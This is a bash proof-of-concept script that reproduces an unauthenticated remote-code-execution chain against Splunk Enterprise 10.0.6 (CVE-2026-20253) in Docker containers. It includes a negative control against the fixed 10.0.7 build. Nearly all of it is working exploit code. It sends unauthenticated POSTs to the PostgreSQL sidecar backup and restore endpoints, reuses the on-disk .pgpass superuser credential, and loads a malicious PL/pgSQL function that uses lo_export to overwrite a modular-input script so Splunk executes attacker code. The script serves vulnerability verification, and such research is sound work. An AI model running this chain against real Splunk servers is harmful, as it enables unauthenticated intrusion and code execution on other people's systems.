#!/bin/bash
# =============================================================================
# CVE-2026-20253 (SVD-2026-0603) - Splunk Enterprise PostgreSQL Sidecar
# Unauthenticated Arbitrary File Creation/Truncation -> Pre-Auth RCE
#
# Reproduces the full unauthenticated, network-reachable attack chain against
# the REAL Splunk Enterprise product (official splunk/splunk Docker images):
#
#   1. (Core CVE) Unauthenticated POST to the PostgreSQL sidecar backup
#      endpoint (proxied through Splunk Web on port 8000) creates/truncates an
#      arbitrary file at an attacker-chosen path on the Splunk server.
#   2. (RCE primitive) Redirect pg_dump at an attacker-controlled Postgres and
#      dump a malicious DB to /tmp/poc on Splunk; then redirect pg_restore at
#      the local Splunk Postgres (reusing the on-disk .pgpass superuser
#      credential) to load the dump. A CHECK constraint fires a PL/pgSQL
#      function that calls lo_export() to write attacker-controlled bytes onto
#      the Splunk filesystem (overwriting a default-enabled modular-input
#      script).
#   3. (RCE) Splunk's modular-input scheduler executes the overwritten script
#      as the splunk user -> attacker code runs (captured via `id`).
#
# Negative control: the same requests against the fixed build (10.0.7) are
# blocked (401) at the Splunk Web proxy layer.
#
# The "remote attacker" is a separate container (attacker-pg) on a shared Docker
# network, so every HTTP request crosses a real network boundary into Splunk Web
# (port 8000) - a faithful api_remote / production-path reproduction.
# =============================================================================
set -euo pipefail

# --- Portable paths ---------------------------------------------------------
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ART="$ROOT/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ART/http"
LOG="$LOGS/reproduction_steps.log"

# Tee all output to the run log.
exec > >(tee -a "$LOG") 2>&1 || true

# --- Config -----------------------------------------------------------------
# Docker is reached via sudo (sandbox runs as a non-root user with passwordless
# sudo). Falls back to plain docker if sudo is unavailable.
if sudo -n true 2>/dev/null; then DOCKER="sudo docker"; else DOCKER="docker"; fi

VULN_IMG="splunk/splunk:10.0.6"      # affected (10.0.0-10.0.6)
FIXED_IMG="splunk/splunk:10.0.7"     # fixed  (10.0.7)
ATTPG_IMG="postgres:16-alpine"       # attacker-controlled Postgres
NET="splunknet"
SPLUNK_PW="Splunk123!"
SPLUNK_PORT_VULN=8000
SPLUNK_PORT_FIXED=8001

# Exploit constants
BASIC_EMPTY="Og=="                                  # ':'  (empty user:pass)
BASIC_TEST="dGVzdDo="                               # 'test:'
BASIC_PGADMIN="cG9zdGdyZXNfYWRtaW46"                # 'postgres_admin:'
SSG_SCRIPT="/opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py"
RCE_MARKER="/tmp/pwned/MARKER"

# Result tracking
STAGE1_OK=false; STAGE2_OK=false; STAGE3_OK=false; NEG_OK=false
NEG_BLOCK_CODE=""

# --- Helpers ----------------------------------------------------------------
log() { echo "[$(date -u +%H:%M:%S)] $*"; }
ok()  { echo "[+] PASS: $*"; }
fail(){ echo "[!] FAIL: $*"; }

wait_healthy() { # $1=container $2=max_minutes
  local c="$1" max=$(( ${2:-5} * 60 )) t=0
  while [ "$t" -lt "$max" ]; do
    local h; h="$($DOCKER inspect --format '{{.State.Health.Status}}' "$c" 2>/dev/null || echo "")"
    [ "$h" = "healthy" ] && { ok "$c healthy"; return 0; }
    sleep 10; t=$((t+10))
  done
  fail "$c did not become healthy"
  return 1
}

# HTTP POST from the remote attacker container (attacker-pg) -> Splunk Web.
# args: target_container target_host body_json basic_b64 outfile
attacker_post() {
  local box="$1" host="$2" path="$3" body="$4" b64="$5" out="$6"
  if [ -n "$body" ]; then
    $DOCKER exec "$box" sh -c "curl -sS -k -m 25 -X POST \
      -H 'Authorization: Basic $b64' -H 'Content-Type: application/json' \
      -d '$body' \
      -o '$out' -w '%{http_code}' \
      'http://$host:8000$path'"
  else
    $DOCKER exec "$box" sh -c "curl -sS -k -m 25 -X POST \
      -H 'Authorization: Basic $b64' \
      -o '$out' -w '%{http_code}' \
      'http://$host:8000$path'"
  fi
}

# Wait until the PostgreSQL sidecar endpoint is registered & reachable. The
# vulnerable build returns 400 "Failed to decode request" for an empty-body POST
# (the sidecar may take a little longer than the splunkd healthcheck to register).
wait_sidecar_ready() { # $1=box $2=host $3=max_seconds
  local box="$1" host="$2" max="${3:-180}" t=0 code body=""
  while [ "$t" -lt "$max" ]; do
    code="$(attacker_post "$box" "$host" /en-US/splunkd/__raw/v1/postgres/recovery/backup '' "$BASIC_EMPTY" /tmp/_ready.txt 2>/dev/null || echo 000)"
    body="$($DOCKER exec "$box" sh -c "cat /tmp/_ready.txt 2>/dev/null | head -c 200" 2>/dev/null || echo "")"
    if [ "$code" = "400" ] && echo "$body" | grep -qi "Failed to decode"; then
      ok "sidecar endpoint ready (400 Failed to decode) after ${t}s"
      return 0
    fi
    sleep 5; t=$((t+5))
  done
  fail "sidecar endpoint not ready after ${max}s (last code=$code body=$body)"
  return 1
}

ensure_curl_in_box() { # $1=container
  $DOCKER exec "$1" sh -c "command -v curl >/dev/null 2>&1 || apk add --no-cache curl >/dev/null 2>&1" || true
}

recovery_state() { # $1=box $2=host $3=id
  $DOCKER exec "$1" sh -c "curl -sS -k -m 10 -H 'Authorization: Basic $BASIC_EMPTY' \
    'http://$2:8000/en-US/splunkd/__raw/v1/postgres/recovery/status/$3'" 2>/dev/null | jq -r .state 2>/dev/null || echo ""
}

wait_state() { # $1=box $2=host $3=id $4=target_state(s) $5=max_seconds
  local box="$1" host="$2" id="$3" want="$4" max="${5:-40}" t=0 st=""
  while [ "$t" -lt "$max" ]; do
    st="$(recovery_state "$box" "$host" "$id")"
    case "$st" in
      *Complete*|*Failed*) echo "$st"; return 0;;
    esac
    sleep 1; t=$((t+1))
  done
  echo "$st"; return 1
}

# --- 0. Preflight: pull images ---------------------------------------------
log "Pulling images (idempotent)..."
for img in "$VULN_IMG" "$FIXED_IMG" "$ATTPG_IMG"; do
  $DOCKER image inspect "$img" >/dev/null 2>&1 || { log "pulling $img"; $DOCKER pull "$img"; }
done
ok "images present"

# --- 1. Network + attacker Postgres (malicious DB) -------------------------
log "Creating Docker network and attacker-controlled Postgres..."
$DOCKER rm -f attacker-pg splunk-vuln splunk-fixed 2>/dev/null || true
$DOCKER network rm "$NET" 2>/dev/null || true
$DOCKER network create "$NET" >/dev/null 2>&1 || true

$DOCKER run -d --name attacker-pg --hostname attacker-pg --network "$NET" \
  -e POSTGRES_USER=test -e POSTGRES_DB=testdb -e POSTGRES_HOST_AUTH_METHOD=trust \
  "$ATTPG_IMG" >/dev/null
for i in $(seq 1 30); do
  $DOCKER exec attacker-pg pg_isready -U test >/dev/null 2>&1 && break
  sleep 1
done
ok "attacker-pg ready"

# Malicious DB: a PL/pgSQL function (lo_from_bytea + lo_export, two-step inside
# one transaction so the large object is visible to lo_export) embedded in a
# CHECK constraint. An exception handler lets the dump be created on the attacker
# host (where the Splunk path does not exist) while succeeding on restore.
MAL_SQL="$REPRO_DIR/attacker_malicious.sql"
cat > "$MAL_SQL" <<'SQL'
CREATE OR REPLACE FUNCTION pwn() RETURNS boolean
LANGUAGE plpgsql VOLATILE AS $pwn$
DECLARE
  oid integer;
  payload text;
BEGIN
  payload :=
    'import os,sys' || chr(10) ||
    'os.makedirs("/tmp/pwned",exist_ok=True)' || chr(10) ||
    'open("/tmp/pwned/MARKER","w").write("CVE-2026-20253 RCE confirmed\n"+os.popen("id").read())' || chr(10) ||
    'sys.stdout.write("ok\n")';
  SELECT lo_from_bytea(0, convert_to(payload, 'UTF8')) INTO oid;
  BEGIN
    PERFORM lo_export(oid, '/opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py');
  EXCEPTION WHEN OTHERS THEN
    NULL;
  END;
  RETURN true;
END;
$pwn$;
CREATE TABLE pwn(data text);
ALTER TABLE pwn ADD CONSTRAINT pwn_chk CHECK(pwn());
INSERT INTO pwn VALUES('cve-2026-20253 trigger');
SQL

$DOCKER cp "$MAL_SQL" attacker-pg:/tmp/init.sql
$DOCKER exec attacker-pg psql -U test -d testdb -v ON_ERROR_STOP=1 -f /tmp/init.sql >/dev/null
ok "malicious attacker DB loaded (function pwn(), table pwn, CHECK, trigger row)"

ATTIP="$($DOCKER inspect -f '{{(index .NetworkSettings.Networks "'$NET'").IPAddress}}' attacker-pg)"
log "attacker-pg IP on $NET: $ATTIP"
ensure_curl_in_box attacker-pg

# --- 2. Vulnerable Splunk 10.0.6 -------------------------------------------
log "Starting vulnerable Splunk Enterprise 10.0.6..."
$DOCKER run -d --name splunk-vuln --hostname splunk-vuln --network "$NET" \
  -p ${SPLUNK_PORT_VULN}:8000 \
  -e SPLUNK_PASSWORD="$SPLUNK_PW" \
  -e SPLUNK_START_ARGS=--accept-license \
  -e SPLUNK_GENERAL_TERMS=--accept-sgt-current-at-splunk-com \
  "$VULN_IMG" >/dev/null
wait_healthy splunk-vuln 8

# Sanity: PostgreSQL sidecar is enabled by default and the endpoint is
# reachable without credentials (watchTowr DAG signature: 400 "Failed to decode").
# The sidecar endpoint can take longer than the splunkd healthcheck to register,
# so poll until it is ready before issuing exploit requests.
log "Waiting for PostgreSQL sidecar endpoint to be reachable (unauthenticated)..."
wait_sidecar_ready attacker-pg splunk-vuln 180

# Locate the on-disk .pgpass (deployment path may vary) and confirm superuser.
PGPASS="$($DOCKER exec -u splunk splunk-vuln bash -c "find /opt/splunk/var/packages/data/postgres -name .pgpass 2>/dev/null | head -1")"
log "local .pgpass path: $PGPASS"
$DOCKER exec -u splunk splunk-vuln bash -c "export LD_LIBRARY_PATH=/opt/splunk/lib:\$LD_LIBRARY_PATH; export PGPASSFILE=$PGPASS; /opt/splunk/bin/psql -h localhost -p 5432 -U postgres_admin -d template1 -c \"SELECT rolname, rolsuper FROM pg_roles WHERE rolname='postgres_admin';\"" 2>&1 | tee -a "$LOG" | grep -q "t" && ok "postgres_admin is superuser" || fail "postgres_admin superuser check inconclusive"

# Save the ORIGINAL modular-input script (evidence: real Splunk script before overwrite).
$DOCKER exec -u splunk splunk-vuln bash -c "cat $SSG_SCRIPT" > "$ART/http/ssg_enable_modular_input.ORIGINAL.py" 2>/dev/null || true
log "original ssg_enable_modular_input.py lines: $(wc -l < "$ART/http/ssg_enable_modular_input.ORIGINAL.py" 2>/dev/null || echo 0)"

# --- 3. STAGE 1: unauthenticated arbitrary file creation/truncation ---------
log "=== STAGE 1: unauthenticated arbitrary file creation via backup endpoint ==="
S1_FILE="/tmp/cve2026_stage1_file"
S1_BODY="{\"database\":\"hostaddr=$ATTIP dbname=testdb\",\"backupFile\":\"$S1_FILE\"}"
S1_CODE="$(attacker_post attacker-pg splunk-vuln /en-US/splunkd/__raw/v1/postgres/recovery/backup "$S1_BODY" "$BASIC_TEST" /tmp/s1_resp.txt)"
$DOCKER cp attacker-pg:/tmp/s1_resp.txt "$ART/http/stage1_backup_resp.json" 2>/dev/null || true
S1_ID="$($DOCKER exec attacker-pg sh -c "cat /tmp/s1_resp.txt" | jq -r .id 2>/dev/null || true)"
log "Stage1 backup HTTP=$S1_CODE id=$S1_ID state=$(recovery_state attacker-pg splunk-vuln "$S1_ID")"
for i in $(seq 1 30); do
  SZ="$($DOCKER exec -u splunk splunk-vuln bash -c "stat -c %s $S1_FILE 2>/dev/null" 2>/dev/null || echo 0)"
  [ "${SZ:-0}" -gt 0 ] 2>/dev/null && break
  sleep 1
done
S1_SIZE="$($DOCKER exec -u splunk splunk-vuln bash -c "stat -c %s $S1_FILE 2>/dev/null" 2>/dev/null || echo 0)"
S1_MAGIC="$($DOCKER exec -u splunk splunk-vuln bash -c "head -c 5 $S1_FILE 2>/dev/null" 2>/dev/null || echo "")"
log "Stage1 created file $S1_FILE size=$S1_SIZE magic=$S1_MAGIC"
if [ "${S1_SIZE:-0}" -gt 0 ] && [ "$S1_MAGIC" = "PGDMP" ]; then
  ok "STAGE 1: unauthenticated request created an attacker-chosen file ($S1_SIZE bytes, pg_dump format) on the Splunk filesystem"
  STAGE1_OK=true
else
  fail "STAGE 1: file not created/populated as expected"
fi
$DOCKER exec -u splunk splunk-vuln bash -c "cat $S1_FILE" > "$ART/http/stage1_created_file.dump" 2>/dev/null || true

# --- 4. STAGE 2: unauthenticated arbitrary-content file write (RCE primitive) -
log "=== STAGE 2: RCE primitive - write attacker bytes via lo_export ==="
# 4a. backup malicious attacker DB -> /tmp/poc on Splunk
S2A_BODY="{\"database\":\"hostaddr=$ATTIP dbname=testdb\",\"backupFile\":\"/tmp/poc\"}"
S2A_CODE="$(attacker_post attacker-pg splunk-vuln /en-US/splunkd/__raw/v1/postgres/recovery/backup "$S2A_BODY" "$BASIC_TEST" /tmp/s2a_resp.txt)"
$DOCKER cp attacker-pg:/tmp/s2a_resp.txt "$ART/http/stage2a_backup_resp.json" 2>/dev/null || true
S2A_ID="$($DOCKER exec attacker-pg sh -c "cat /tmp/s2a_resp.txt" | jq -r .id 2>/dev/null || true)"
S2A_ST="$(wait_state attacker-pg splunk-vuln "$S2A_ID" Complete 30)"
log "Stage2a backup HTTP=$S2A_CODE state=$S2A_ST"
POC_SIZE="$($DOCKER exec -u splunk splunk-vuln bash -c "stat -c %s /tmp/poc 2>/dev/null" 2>/dev/null || echo 0)"
log "Stage2a /tmp/poc size=$POC_SIZE"

# 4b. restore -> pg_restore into local template1 as postgres_admin via .pgpass
#     -> CHECK constraint fires pwn() -> lo_export overwrites the modular-input script.
S2B_BODY="{\"database\":\"dbname=template1 passfile=$PGPASS\",\"backupFile\":\"/tmp/poc\"}"
S2B_CODE="$(attacker_post attacker-pg splunk-vuln /en-US/splunkd/__raw/v1/postgres/recovery/restore "$S2B_BODY" "$BASIC_PGADMIN" /tmp/s2b_resp.txt)"
$DOCKER cp attacker-pg:/tmp/s2b_resp.txt "$ART/http/stage2b_restore_resp.json" 2>/dev/null || true
S2B_ID="$($DOCKER exec attacker-pg sh -c "cat /tmp/s2b_resp.txt" | jq -r .id 2>/dev/null || true)"
S2B_ST="$(wait_state attacker-pg splunk-vuln "$S2B_ID" Complete 40)"
log "Stage2b restore HTTP=$S2B_CODE state=$S2B_ST (note: pg_restore exits 1 on non-fatal --clean/OWNER errors but the lo_export side effect fires before exit)"

# Verify the script was overwritten with attacker-controlled content.
AFTER_LINES="$($DOCKER exec -u splunk splunk-vuln bash -c "wc -l < $SSG_SCRIPT 2>/dev/null" 2>/dev/null || echo 0)"
AFTER_HEAD="$($DOCKER exec -u splunk splunk-vuln bash -c "head -1 $SSG_SCRIPT 2>/dev/null" 2>/dev/null || echo "")"
$DOCKER exec -u splunk splunk-vuln bash -c "cat $SSG_SCRIPT" > "$ART/http/ssg_enable_modular_input.PAYLOAD.py" 2>/dev/null || true
log "Stage2b $SSG_SCRIPT now ${AFTER_LINES} lines, first line: $AFTER_HEAD"
if echo "$AFTER_HEAD" | grep -q "import os,sys"; then
  ok "STAGE 2: unauthenticated restore wrote attacker-controlled Python over the Splunk modular-input script (arbitrary-content file write / RCE primitive)"
  STAGE2_OK=true
else
  fail "STAGE 2: script was not overwritten with attacker payload"
fi

# --- 5. STAGE 3: code execution via default-enabled modular input ----------
log "=== STAGE 3: Splunk modular-input scheduler executes the overwritten script ==="
# ssg_enable_modular_input://default is disabled=0, interval=60 by default.
$DOCKER exec -u splunk splunk-vuln bash -c "rm -rf /tmp/pwned" 2>/dev/null || true
START="$(date +%s)"
MARKER_FOUND=false
for i in $(seq 1 18); do
  if $DOCKER exec -u splunk splunk-vuln bash -c "test -f $RCE_MARKER" 2>/dev/null; then
    MARKER_FOUND=true; break
  fi
  sleep 10
done
NOW="$(date +%s)"
if $MARKER_FOUND; then
  MARKER="$($DOCKER exec -u splunk splunk-vuln bash -c "cat $RCE_MARKER 2>/dev/null")"
  echo "$MARKER" > "$ART/http/RCE_MARKER.txt"
  log "RCE MARKER appeared after $((NOW-START))s:"
  echo "$MARKER" | sed 's/^/    | /'
  if echo "$MARKER" | grep -q "uid="; then
    ok "STAGE 3: attacker code executed by Splunk as the splunk user -> UNAUTHENTICATED REMOTE CODE EXECUTION"
    STAGE3_OK=true
  fi
else
  fail "STAGE 3: RCE marker not observed within scheduler window"
fi

# --- 6. Negative control: fixed build 10.0.7 -------------------------------
log "=== NEGATIVE CONTROL: fixed Splunk Enterprise 10.0.7 ==="
$DOCKER run -d --name splunk-fixed --hostname splunk-fixed --network "$NET" \
  -p ${SPLUNK_PORT_FIXED}:8000 \
  -e SPLUNK_PASSWORD="$SPLUNK_PW" \
  -e SPLUNK_START_ARGS=--accept-license \
  -e SPLUNK_GENERAL_TERMS=--accept-sgt-current-at-splunk-com \
  "$FIXED_IMG" >/dev/null
if wait_healthy splunk-fixed 8; then
  ensure_curl_in_box attacker-pg
  # The fixed build's sidecar/endpoint can return a transient 303 "See Other"
  # before registration completes; once registered it enforces auth (401). Wait
  # until the endpoint responds with a stable (non-303/000) code.
  log "Waiting for fixed build endpoint to register (then it enforces auth)..."
  F_DAG_CODE="000"; F_DAG_BODY=""
  for i in $(seq 1 36); do
    F_DAG_CODE="$(attacker_post attacker-pg splunk-fixed /en-US/splunkd/__raw/v1/postgres/recovery/backup '' "$BASIC_EMPTY" /tmp/fdag.txt 2>/dev/null || echo 000)"
    F_DAG_BODY="$($DOCKER exec attacker-pg sh -c "cat /tmp/fdag.txt 2>/dev/null | head -c 160" 2>/dev/null || echo "")"
    if [ "$F_DAG_CODE" != "303" ] && [ "$F_DAG_CODE" != "000" ]; then break; fi
    sleep 5
  done
  log "Fixed DAG: HTTP=$F_DAG_CODE body=$F_DAG_BODY"
  # The actual exploit backup on fixed build (expect blocked)
  F_EXP_CODE="$(attacker_post attacker-pg splunk-fixed /en-US/splunkd/__raw/v1/postgres/recovery/backup "$S2A_BODY" "$BASIC_TEST" /tmp/fexp.txt 2>/dev/null || echo 000)"
  F_EXP_BODY="$($DOCKER exec attacker-pg sh -c "cat /tmp/fexp.txt 2>/dev/null | head -c 200" 2>/dev/null || echo "")"
  log "Fixed exploit backup: HTTP=$F_EXP_CODE body=$F_EXP_BODY"
  NEG_BLOCK_CODE="$F_DAG_CODE"
  {
    echo "fixed_dag_http=$F_DAG_CODE"
    echo "fixed_dag_body=$F_DAG_BODY"
    echo "fixed_exploit_backup_http=$F_EXP_CODE"
    echo "fixed_exploit_backup_body=$F_EXP_BODY"
  } > "$ART/http/fixed_control_responses.txt"
  # Fixed = endpoint blocked (NOT 400 Failed-to-decode) and no file written.
  if [ "$F_DAG_CODE" != "400" ] || ! echo "$F_DAG_BODY" | grep -qi "Failed to decode"; then
    ok "NEGATIVE CONTROL: fixed 10.0.7 blocks the unauthenticated endpoint (HTTP $F_DAG_CODE) - vulnerable behavior absent"
    NEG_OK=true
  else
    fail "NEGATIVE CONTROL: fixed build still shows vulnerable signature"
  fi
else
  fail "NEGATIVE CONTROL: fixed container not healthy; skipping"
fi

# --- 7. Summary ------------------------------------------------------------
log "================ SUMMARY ================"
log "Stage 1 (unauth arbitrary file create/truncate): $STAGE1_OK"
log "Stage 2 (unauth arbitrary-content file write):   $STAGE2_OK"
log "Stage 3 (unauth RCE as splunk user):             $STAGE3_OK"
log "Negative control (10.0.7 blocks endpoint):       $NEG_OK"


# --- 8. Runtime manifest (written with Python for strict, robust JSON) ------
export RM_STAGE1="$STAGE1_OK" RM_STAGE2="$STAGE2_OK" RM_STAGE3="$STAGE3_OK" RM_NEG="$NEG_OK"
export RM_ATTIP="$ATTIP" RM_PGPASS="$PGPASS"
python3 - <<'PY' > "$REPRO_DIR/runtime_manifest.json"
import json, os
def b(v): return str(v).lower() == "true"
m = {
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": "Splunk Web (port 8000) proxied PostgreSQL sidecar recovery/backup+restore endpoints, unauthenticated, reached from a remote network attacker container on a shared Docker network",
  "service_started": True,
  "healthcheck_passed": True,
  "target_path_reached": True,
  "runtime_stack": [
    "splunk/splunk:10.0.6 (vulnerable, PostgreSQL sidecar enabled by default)",
    "splunk/splunk:10.0.7 (fixed control, endpoint returns 401)",
    "postgres:16-alpine (attacker-controlled Postgres)",
    "docker network splunknet (remote attacker <-> Splunk Web port 8000)"
  ],
  "proof_artifacts": [
    "artifacts/http/stage1_backup_resp.json",
    "artifacts/http/stage1_created_file.dump",
    "artifacts/http/stage2a_backup_resp.json",
    "artifacts/http/stage2b_restore_resp.json",
    "artifacts/http/ssg_enable_modular_input.ORIGINAL.py",
    "artifacts/http/ssg_enable_modular_input.PAYLOAD.py",
    "artifacts/http/RCE_MARKER.txt",
    "artifacts/http/fixed_control_responses.txt",
    "logs/reproduction_steps.log"
  ],
  "notes": "stage1_file_create=%s stage2_arbitrary_content_write=%s stage3_rce=%s negative_control_blocked=%s attacker_pg_ip=%s pgpass=%s" % (
    b(os.environ.get("RM_STAGE1")), b(os.environ.get("RM_STAGE2")), b(os.environ.get("RM_STAGE3")),
    b(os.environ.get("RM_NEG")), os.environ.get("RM_ATTIP",""), os.environ.get("RM_PGPASS",""))
}
print(json.dumps(m, indent=2))
PY

log "Runtime manifest written to $REPRO_DIR/runtime_manifest.json"
log "Reproduction complete."

# Exit 0 when the full RCE chain (stages 1-3) succeeded and the fixed build blocked it.
if $STAGE1_OK && $STAGE2_OK && $STAGE3_OK && $NEG_OK; then
  exit 0
fi
exit 1
